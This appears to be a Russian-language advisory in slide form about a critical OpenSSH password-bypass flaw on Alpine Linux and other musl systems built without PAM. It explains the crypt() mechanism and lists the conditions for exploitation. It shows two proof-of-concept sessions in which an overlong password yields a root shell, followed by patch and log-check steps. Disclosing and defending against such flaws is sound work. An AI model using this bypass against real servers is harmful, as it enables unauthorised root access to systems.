```
$ ssh user@server
user@server's password:
**********************************
> Authenticated.
> Welcome!
$ _
```

Критическая уязвимость: вход по SSH без пароля

Проблема в OpenSSH на Alpine

СРОЧНОЕ ОБНОВЛЕНИЕ

Alpine Linux

OpenSSH

LEGION | @lionsoulbatyshchikov

СРОЧНЫЙ ПАТЧ

OpenSSH: экстренное обновление

В **OpenSSH** выпущен экстренный патч для критической уязвимости (пока без **CVE**). Проблема затрагивает серверы на **Alpine Linux** с `openssh-server`, собранным без **PAM**. Исправление доступно в ***OpenSSH 10.6p2***.

```
$ ssh root@alpine-cloud
root@alpine-cloud's password: wrong
Permission denied, please try again.
root@alpine-cloud's password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
Welcome to Alpine!
alpine-cloud:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
alpine-cloud:~#
```

*sshole

LEGION | @lionsoulbatyshchikov

OpenSSH | Alpine Linux | sshd

Как работает уязвимость



Без PAM sshd проверяет пароль через `crypt()`.

Для аккаунта без пароля в `shadow` хранится только символ `*`.

sshd берёт `salt` от другого аккаунта и вычисляет `hash`.

В реализации `musl` пароль длиной более `256 bytes` заставляет `crypt()` вернуть `*`.

Результат совпадает — вход выполнен.

```
208 static char *sha512crypt(const char *key, const char *setting, char
209 {
210     struct sha512_ctx;
211     unsigned char md[64], kmd[64], smd[64];
212     unsigned int i, r, klen, slen;
213     const char *salt;
214
215     /* reject large keys */
216     for (i = 0; i <= KEY_MAX && key[i]; i++);
217     if (i > KEY_MAX)
218         return 0;
219
220     klen = i;
221
```

Пароль > 256 bytes → crypt() возвращает *

LEGION | @lionsoulbatyshchikov

| OpenSSH | Alpine Linux | Bypass

Демонстрация PoC: обход на практике

Реальный пример работы `bypass` -эксплойта для критической уязвимости в **OpenSSH** на **Alpine**.

```
$ ssh root@alpine-cloud
root@alpine-cloud’s password: wrong
Permission denied, please try again.
root@alpine-cloud’s password: AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A

Welcome to Alpine!

alpine-cloud:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),
26(tape),27(video)
alpine-cloud:~#
```

Обход успешен — получен доступ (root)

LEGION | @lionsoulbatyshchikov

OpenSSH | Alpine Linux | Privilege Escalation

Кому угрожает эта уязвимость

Успешная эксплуатация возможна при одновременном выполнении **четырёх условий:**

- OpenSSH (`sshd`) работает на **musl** и собран без **PAM** (или с `UsePAM no`).
- Включена стандартная аутентификация по паролю — `PasswordAuthentication yes`.
- Есть хотя бы один аккаунт, у которого в пароле используется только символ `*`.
- Есть ещё один аккаунт с валидным хэшем пароля (формата `$5$` или `$6$`).



Под ударом в первую очередь **Alpine Linux**, а также системы на **OpenWrt**, **Buildroot** и **Yocto**. Особое внимание — на официальные образы Alpine (в т.ч. в облаках): в них по умолчанию есть аккаунт `alpine` без пароля, что позволяет поднять привилегии до `root` через этот `bypass`.

LEGION | @lionsoulbatyshchikov

OpenSSH | Alpine Linux | Исправление

Как защититься и закрыть уязвимость

В Alpine обновите пакеты и перезапустите службу:

```
apk upgrade -U && rc-service sshd restart
```

Если не можете сразу обновиться — отключите PasswordAuthentication:

```
PasswordAuthentication no
```

Проверьте логи на наличие `Accepted password` для аккаунтов без пароля — они могут быть скомпрометированы.

```
$ grep "Accepted password" /var/log/auth.log

Jan 18 14:22:31 alpine sshd[1924]: Accepted password
for alpine from 10.0.0.5 port 47218 ssh2

Jan 18 14:25:03 alpine sshd[1931]: Accepted password
for root from 10.0.0.5 port 47224 ssh2
```

LEGION | @lionsoulbatyshchikov